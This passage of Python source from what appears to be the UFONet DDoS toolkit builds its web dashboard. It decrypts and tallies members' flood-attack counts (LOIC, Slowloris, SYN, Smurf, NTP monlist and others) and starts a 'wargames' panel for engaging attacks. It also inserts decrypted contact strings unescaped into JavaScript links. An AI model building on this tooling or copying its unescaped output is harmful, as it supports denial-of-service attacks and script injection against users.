onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  4403. grid_key = pGet["grid_key"]
  4404. f = open("/tmp/out", "w")
  4405. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  4406. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID
  4407. if grid_msg_sep in m:
  4408. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4)
  4409. m = m.split(grid_msg_sep)
  4410. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  4411. grid_nickname = m[0] # nickname
  4412. self.decrypt(grid_key, grid_nickname)
  4413. if self.decryptedtext:
  4414. grid_nickname = self.decryptedtext
  4415. else:
  4416. grid_nickname = nodec_text
  4417. unknown_members = unknown_members + 1 # add members as unknown
  4418. self.decryptedtext = "" # clean decryptedtext buffer
  4419. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  4420. grid_nickname = "Anonymous"
  4421. else:
  4422. grid_nickname = str(grid_nickname) # nickname
  4423. grid_ranking = m[1] # ranking
  4424. self.decrypt(grid_key, grid_ranking)
  4425. if self.decryptedtext:
  4426. try:
  4427. grid_ranking = int(self.decryptedtext)
  4428. except:
  4429. grid_ranking = nodec_text
  4430. else:
  4431. grid_ranking = nodec_text
  4432. self.decryptedtext = "" # clean decryptedtext buffer
  4433. if grid_ranking == 1: #Rookie
  4434. grid_ranking = "<font color='white' size='4'>*</font>"
  4435. member_1 = member_1 + 1
  4436. elif grid_ranking == 2: # Mercenary
  4437. grid_ranking = "<font color='cyan' size='4'>**</font>"
  4438. member_2 = member_2 + 1
  4439. elif grid_ranking == 3: # Bandit
  4440. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  4441. member_3 = member_3 + 1
  4442. elif grid_ranking == 4: # UFOmmander!
  4443. grid_ranking = "<font color='blue' size='4'>****</font>"
  4444. member_4 = member_4 + 1
  4445. elif grid_ranking == 5: # UFOl33t!
  4446. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  4447. member_5 = member_5 + 1
  4448. else:
  4449. grid_ranking = nodec_text
  4450. grid_totalchargo = m[2] # total chargo
  4451. self.decrypt(grid_key, grid_totalchargo)
  4452. if self.decryptedtext:
  4453. grid_totalchargo = self.decryptedtext
  4454. else:
  4455. grid_totalchargo = nodec_text
  4456. self.decryptedtext = "" # clean decryptedtext buffer
  4457. try: # parse for int
  4458. grid_totalchargo = int(grid_totalchargo)
  4459. mothership_chargo = mothership_chargo + grid_totalchargo
  4460. except:
  4461. grid_totalchargo = nodec_text
  4462. grid_dorking = m[3] # dorking
  4463. self.decrypt(grid_key, grid_dorking)
  4464. if self.decryptedtext:
  4465. grid_dorking = self.decryptedtext
  4466. else:
  4467. grid_dorking = nodec_text
  4468. self.decryptedtext = "" # clean decryptedtext buffer
  4469. try: # parse for int
  4470. grid_dorking = int(grid_dorking)
  4471. mothership_dorking = mothership_dorking + grid_dorking
  4472. except:
  4473. grid_dorking = nodec_text
  4474. grid_transferred = m[4] # transferred
  4475. self.decrypt(grid_key, grid_transferred)
  4476. if self.decryptedtext:
  4477. grid_transferred = self.decryptedtext
  4478. else:
  4479. grid_transferred = nodec_text
  4480. self.decryptedtext = "" # clean decryptedtext buffer
  4481. try: # parse for int
  4482. grid_transferred = int(grid_transferred)
  4483. mothership_transferred = mothership_transferred + grid_transferred
  4484. except:
  4485. grid_transferred = nodec_text
  4486. grid_maxchargo = m[5] # maxchargo
  4487. self.decrypt(grid_key, grid_maxchargo)
  4488. if self.decryptedtext:
  4489. grid_maxchargo = self.decryptedtext
  4490. else:
  4491. grid_maxchargo = nodec_text
  4492. self.decryptedtext = "" # clean decryptedtext buffer
  4493. try: # parse for int
  4494. grid_maxchargo = int(grid_maxchargo)
  4495. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  4496. except:
  4497. grid_maxchargo = nodec_text
  4498. grid_missions = m[6] # missions
  4499. self.decrypt(grid_key, grid_missions)
  4500. if self.decryptedtext:
  4501. grid_missions = self.decryptedtext
  4502. else:
  4503. grid_missions = nodec_text
  4504. self.decryptedtext = "" # clean decryptedtext buffer
  4505. try: # parse for int
  4506. grid_missions = int(grid_missions)
  4507. mothership_missions = mothership_missions + grid_missions
  4508. except:
  4509. grid_missions = nodec_text
  4510. grid_attacks = m[7] # attacks
  4511. self.decrypt(grid_key, grid_attacks)
  4512. if self.decryptedtext:
  4513. grid_attacks = self.decryptedtext
  4514. else:
  4515. grid_attacks = nodec_text
  4516. self.decryptedtext = "" # clean decryptedtext buffer
  4517. try: # parse for int
  4518. grid_attacks = int(grid_attacks)
  4519. mothership_attacks = mothership_attacks + grid_attacks
  4520. except:
  4521. grid_attacks = nodec_text
  4522. grid_loic = m[8] # loic
  4523. self.decrypt(grid_key, grid_loic)
  4524. if self.decryptedtext:
  4525. grid_loic = self.decryptedtext
  4526. else:
  4527. grid_loic = nodec_text
  4528. self.decryptedtext = "" # clean decryptedtext buffer
  4529. try: # parse for int
  4530. grid_loic = int(grid_loic)
  4531. mothership_loic = mothership_loic + grid_loic
  4532. except:
  4533. grid_loic = nodec_text
  4534. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  4535. grid_loris = m[9] # loris
  4536. self.decrypt(grid_key, grid_loris)
  4537. if self.decryptedtext:
  4538. grid_loris = self.decryptedtext
  4539. else:
  4540. grid_loris = nodec_text
  4541. self.decryptedtext = "" # clean decryptedtext buffer
  4542. try: # parse for int
  4543. grid_loris = int(grid_loris)
  4544. mothership_loris = mothership_loris + grid_loris
  4545. except:
  4546. grid_loris = nodec_text
  4547. else:
  4548. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  4549. self.decrypt(grid_key, grid_loris)
  4550. if self.decryptedtext:
  4551. grid_loris = self.decryptedtext
  4552. else:
  4553. grid_loris = nodec_text
  4554. self.decryptedtext = "" # clean decryptedtext buffer
  4555. try: # parse for int
  4556. grid_loris = int(grid_loris)
  4557. mothership_loris = mothership_loris + grid_loris
  4558. except:
  4559. grid_loris = nodec_text
  4560. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  4561. grid_ufosyn = m[10] # ufosyn
  4562. self.decrypt(grid_key, grid_ufosyn)
  4563. if self.decryptedtext:
  4564. grid_ufosyn = self.decryptedtext
  4565. else:
  4566. grid_ufosyn = nodec_text
  4567. self.decryptedtext = "" # clean decryptedtext buffer
  4568. try: # parse for int
  4569. grid_ufosyn = int(grid_ufosyn)
  4570. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4571. except:
  4572. grid_ufosyn = nodec_text
  4573. else:
  4574. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  4575. self.decrypt(grid_key, grid_ufosyn)
  4576. if self.decryptedtext:
  4577. grid_ufosyn = self.decryptedtext
  4578. else:
  4579. grid_ufosyn = nodec_text
  4580. self.decryptedtext = "" # clean decryptedtext buffer
  4581. try: # parse for int
  4582. grid_ufosyn = int(grid_ufosyn)
  4583. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4584. except:
  4585. grid_ufosyn = nodec_text
  4586. if version > 17 or version == 17 or version == 16 or version == 15:
  4587. grid_spray = m[11] # spray
  4588. self.decrypt(grid_key, grid_spray)
  4589. if self.decryptedtext:
  4590. grid_spray = self.decryptedtext
  4591. else:
  4592. grid_spray = nodec_text
  4593. self.decryptedtext = "" # clean decryptedtext buffer
  4594. try: # parse for int
  4595. grid_spray = int(grid_spray)
  4596. mothership_spray = mothership_spray + grid_spray
  4597. except:
  4598. grid_spray = nodec_text
  4599. else:
  4600. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4601. self.decrypt(grid_key, grid_spray)
  4602. if self.decryptedtext:
  4603. grid_spray = self.decryptedtext
  4604. else:
  4605. grid_spray = nodec_text
  4606. self.decryptedtext = "" # clean decryptedtext buffer
  4607. try: # parse for int
  4608. grid_spray = int(grid_spray)
  4609. mothership_spray = mothership_spray + grid_spray
  4610. except:
  4611. grid_spray = nodec_text
  4612. if version > 17 or version == 17 or version == 16 or version == 15:
  4613. grid_smurf = m[12] # smurf
  4614. self.decrypt(grid_key, grid_smurf)
  4615. if self.decryptedtext:
  4616. grid_smurf = self.decryptedtext
  4617. else:
  4618. grid_smurf = nodec_text
  4619. self.decryptedtext = "" # clean decryptedtext buffer
  4620. try: # parse for int
  4621. grid_smurf = int(grid_smurf)
  4622. mothership_smurf = mothership_smurf + grid_smurf
  4623. except:
  4624. grid_smurf = nodec_text
  4625. else:
  4626. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4627. self.decrypt(grid_key, grid_smurf)
  4628. if self.decryptedtext:
  4629. grid_smurf = self.decryptedtext
  4630. else:
  4631. grid_smurf = nodec_text
  4632. self.decryptedtext = "" # clean decryptedtext buffer
  4633. try: # parse for int
  4634. grid_smurf = int(grid_smurf)
  4635. mothership_smurf = mothership_smurf + grid_smurf
  4636. except:
  4637. grid_smurf = nodec_text
  4638. if version > 17 or version == 17 or version == 16 or version == 15:
  4639. grid_xmas = m[13] # xmas
  4640. self.decrypt(grid_key, grid_xmas)
  4641. if self.decryptedtext:
  4642. grid_xmas = self.decryptedtext
  4643. else:
  4644. grid_xmas = nodec_text
  4645. self.decryptedtext = "" # clean decryptedtext buffer
  4646. try: # parse for int
  4647. grid_xmas = int(grid_xmas)
  4648. mothership_xmas = mothership_xmas + grid_xmas
  4649. except:
  4650. grid_xmas = nodec_text
  4651. else:
  4652. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4653. self.decrypt(grid_key, grid_xmas)
  4654. if self.decryptedtext:
  4655. grid_xmas = self.decryptedtext
  4656. else:
  4657. grid_xmas = nodec_text
  4658. self.decryptedtext = "" # clean decryptedtext buffer
  4659. try: # parse for int
  4660. grid_xmas = int(grid_xmas)
  4661. mothership_xmas = mothership_xmas + grid_xmas
  4662. except:
  4663. grid_xmas = nodec_text
  4664. if version > 17 or version == 17 or version == 16:
  4665. grid_nuke = m[14] # nuke
  4666. self.decrypt(grid_key, grid_nuke)
  4667. if self.decryptedtext:
  4668. grid_nuke = self.decryptedtext
  4669. else:
  4670. grid_nuke = nodec_text
  4671. self.decryptedtext = "" # clean decryptedtext buffer
  4672. try: # parse for int
  4673. grid_nuke = int(grid_nuke)
  4674. mothership_nuke = mothership_nuke + grid_nuke
  4675. except:
  4676. grid_nuke = nodec_text
  4677. else:
  4678. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4679. self.decrypt(grid_key, grid_nuke)
  4680. if self.decryptedtext:
  4681. grid_nuke = self.decryptedtext
  4682. else:
  4683. grid_nuke = nodec_text
  4684. self.decryptedtext = "" # clean decryptedtext buffer
  4685. try: # parse for int
  4686. grid_nuke = int(grid_nuke)
  4687. mothership_nuke = mothership_nuke + grid_nuke
  4688. except:
  4689. grid_nuke = nodec_text
  4690. if version > 17 or version == 17:
  4691. grid_tachyon = m[15] # tachyon
  4692. self.decrypt(grid_key, grid_tachyon)
  4693. if self.decryptedtext:
  4694. grid_tachyon = self.decryptedtext
  4695. else:
  4696. grid_tachyon = nodec_text
  4697. self.decryptedtext = "" # clean decryptedtext buffer
  4698. try: # parse for int
  4699. grid_tachyon = int(grid_tachyon)
  4700. mothership_tachyon = mothership_tachyon + grid_tachyon
  4701. except:
  4702. grid_tachyon = nodec_text
  4703. else:
  4704. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  4705. self.decrypt(grid_key, grid_tachyon)
  4706. if self.decryptedtext:
  4707. grid_tachyon = self.decryptedtext
  4708. else:
  4709. grid_tachyon = nodec_text
  4710. self.decryptedtext = "" # clean decryptedtext buffer
  4711. try: # parse for int
  4712. grid_tachyon = int(grid_tachyon)
  4713. mothership_tachyon = mothership_tachyon + grid_tachyon
  4714. except:
  4715. grid_tachyon = nodec_text
  4716. if version > 17:
  4717. grid_monlist = m[16] # monlist
  4718. self.decrypt(grid_key, grid_monlist)
  4719. if self.decryptedtext:
  4720. grid_monlist = self.decryptedtext
  4721. else:
  4722. grid_monlist = nodec_text
  4723. self.decryptedtext = "" # clean decryptedtext buffer
  4724. try: # parse for int
  4725. grid_monlist = int(grid_monlist)
  4726. mothership_monlist = mothership_monlist + grid_monlist
  4727. except:
  4728. grid_monlist = nodec_text
  4729. else:
  4730. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  4731. self.decrypt(grid_key, grid_monlist)
  4732. if self.decryptedtext:
  4733. grid_monlist = self.decryptedtext
  4734. else:
  4735. grid_monlist = nodec_text
  4736. self.decryptedtext = "" # clean decryptedtext buffer
  4737. try: # parse for int
  4738. grid_monlist = int(grid_monlist)
  4739. mothership_monlist = mothership_monlist + grid_monlist
  4740. except:
  4741. grid_monlist = nodec_text
  4742. if version > 17:
  4743. grid_contact = m[17] # contact
  4744. self.decrypt(grid_key, grid_contact)
  4745. if self.decryptedtext:
  4746. grid_contact = self.decryptedtext
  4747. else:
  4748. grid_contact = nodec_text
  4749. self.decryptedtext = "" # clean decryptedtext buffer
  4750. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[17] = grid_contact (>str3<str120)
  4751. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4752. else:
  4753. try:
  4754. if " " in grid_contact: # m[17] = grid_contact
  4755. grid_contact = grid_contact.replace(" ","")
  4756. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4757. except:
  4758. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4759. try:
  4760. grid_id = m[18] # id
  4761. except:
  4762. grid_id = '6666666666666666666666666666666666666' # fake id
  4763. elif version == 17:
  4764. grid_contact = m[16] # contact
  4765. self.decrypt(grid_key, grid_contact)
  4766. if self.decryptedtext:
  4767. grid_contact = self.decryptedtext
  4768. else:
  4769. grid_contact = nodec_text
  4770. self.decryptedtext = "" # clean decryptedtext buffer
  4771. grid_contact = str(grid_contact) # contact
  4772. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  4773. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4774. else:
  4775. try:
  4776. if " " in grid_contact: # m[16] = grid_contact
  4777. grid_contact = grid_contact.replace(" ","")
  4778. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4779. except:
  4780. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4781. try:
  4782. grid_id = m[17] # id
  4783. except:
  4784. grid_id = '6666666666666666666666666666666666666' # fake id
  4785. elif version == 16:
  4786. grid_contact = m[15] # contact
  4787. self.decrypt(grid_key, grid_contact)
  4788. if self.decryptedtext:
  4789. grid_contact = self.decryptedtext
  4790. else:
  4791. grid_contact = nodec_text
  4792. self.decryptedtext = "" # clean decryptedtext buffer
  4793. grid_contact = str(grid_contact) # contact
  4794. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  4795. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4796. else:
  4797. try:
  4798. if " " in grid_contact: # m[15] = grid_contact
  4799. grid_contact = grid_contact.replace(" ","")
  4800. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4801. except:
  4802. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4803. try:
  4804. grid_id = m[16] # id
  4805. except:
  4806. grid_id = '6666666666666666666666666666666666666' # fake id
  4807. elif version == 15:
  4808. grid_contact = m[14] # contact
  4809. self.decrypt(grid_key, grid_contact)
  4810. if self.decryptedtext:
  4811. grid_contact = self.decryptedtext
  4812. else:
  4813. grid_contact = nodec_text
  4814. self.decryptedtext = "" # clean decryptedtext buffer
  4815. grid_contact = str(grid_contact) # contact
  4816. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  4817. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4818. else:
  4819. try:
  4820. if " " in grid_contact: # m[14] = grid_contact
  4821. grid_contact = grid_contact.replace(" ","")
  4822. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4823. except:
  4824. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4825. try:
  4826. grid_id = m[15] # id
  4827. except:
  4828. grid_id = '6666666666666666666666666666666666666' # fake id
  4829. elif version == 12:
  4830. grid_contact = m[11] # contact
  4831. self.decrypt(grid_key, grid_contact)
  4832. if self.decryptedtext:
  4833. grid_contact = self.decryptedtext
  4834. else:
  4835. grid_contact = nodec_text
  4836. self.decryptedtext = "" # clean decryptedtext buffer
  4837. grid_contact = str(grid_contact) # contact
  4838. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  4839. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4840. else:
  4841. try:
  4842. if " " in grid_contact: # m[11] = grid_contact
  4843. grid_contact = grid_contact.replace(" ","")
  4844. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4845. except:
  4846. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4847. try:
  4848. grid_id = m[12] # id
  4849. except:
  4850. grid_id = '6666666666666666666666666666666666666' # fake id
  4851. elif version == 11:
  4852. grid_contact = m[10] # contact
  4853. self.decrypt(grid_key, grid_contact)
  4854. if self.decryptedtext:
  4855. grid_contact = self.decryptedtext
  4856. else:
  4857. grid_contact = nodec_text
  4858. self.decryptedtext = "" # clean decryptedtext buffer
  4859. grid_contact = str(grid_contact) # contact
  4860. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  4861. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4862. else:
  4863. try:
  4864. if " " in grid_contact: # m[10] = grid_contact
  4865. grid_contact = grid_contact.replace(" ","")
  4866. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4867. except:
  4868. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4869. try:
  4870. grid_id = m[11] # id
  4871. except:
  4872. grid_id = '6666666666666666666666666666666666666' # fake id
  4873. elif version == 10:
  4874. grid_contact = m[9] # contact
  4875. self.decrypt(grid_key, grid_contact)
  4876. if self.decryptedtext:
  4877. grid_contact = self.decryptedtext
  4878. else:
  4879. grid_contact = nodec_text
  4880. self.decryptedtext = "" # clean decryptedtext buffer
  4881. grid_contact = str(grid_contact) # contact
  4882. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  4883. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4884. else:
  4885. try:
  4886. if " " in grid_contact: # m[9] = grid_contact
  4887. grid_contact = grid_contact.replace(" ","")
  4888. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4889. except:
  4890. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4891. try:
  4892. grid_id = m[10] # id
  4893. except:
  4894. grid_id = '6666666666666666666666666666666666666' # fake id
  4895. else:
  4896. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4897. grid_id = '6666666666666666666666666666666666666' # fake id
  4898. try: # parsing for valid stream struct
  4899. grid_ranking = str(grid_ranking)
  4900. if grid_ranking == nodec_text: # hide any data when user is encrypted
  4901. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
  4902. grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  4903. else:
  4904. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  4905. except:
  4906. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  4907. grid_table += "</table><br>"
  4908. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  4909. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr></table><br><hr><br>"
  4910. f.write(mother_table)
  4911. f.write(grid_table)
  4912. f.write(end_mark)
  4913. f.close()
  4914. else: # not valid stream data
  4915. pass
  4916. if page == "/cmd_decrypt_grid_update":
  4917. if not os.path.exists('/tmp/out'):
  4918. open('/tmp/out', 'w').close()
  4919. with open('/tmp/out', 'r') as f:
  4920. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  4921. if page == "/cmd_decrypt_wargames":
  4922. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  4923. wargames_join_flag = False # anti-join flag for non decrypted wargames
  4924. try:
  4925. wargames_deckey = pGet["wargames_deckey"]
  4926. except:
  4927. wargames_deckey = ""
  4928. end_mark = "[Info] [AI] End of decryption."
  4929. if wargames_deckey is not "": # wargames decryption
  4930. nodec_text = "KEY?"
  4931. try: # read global army supply from configuration file (json)
  4932. with open(self.mothership_supplycfg_file) as data_file:
  4933. data = json.load(data_file)
  4934. except:
  4935. if os.path.exists(self.mothership_supplycfg_file) == True:
  4936. print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
  4937. return
  4938. else: # generate default global army supply configuration file
  4939. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  4940. with open(self.mothership_supplycfg_file, "w") as f:
  4941. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4)
  4942. with open(self.mothership_supplycfg_file) as data_file:
  4943. data = json.load(data_file)
  4944. self.supply_botnet = data["botnet"]
  4945. self.supply_loic = data["loic"]
  4946. self.supply_loris = data["loris"]
  4947. self.supply_ufosyn = data["ufosyn"]
  4948. self.supply_spray = data["spray"]
  4949. self.supply_smurf = data["smurf"]
  4950. self.supply_xmas = data["xmas"]
  4951. self.supply_nuke = data["nuke"]
  4952. self.supply_tachyon = data["tachyon"]
  4953. self.supply_monlist = data["monlist"]
  4954. f = open(self.wargames_file,"r")
  4955. ls = f.readlines()
  4956. f.close()
  4957. if ls:
  4958. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
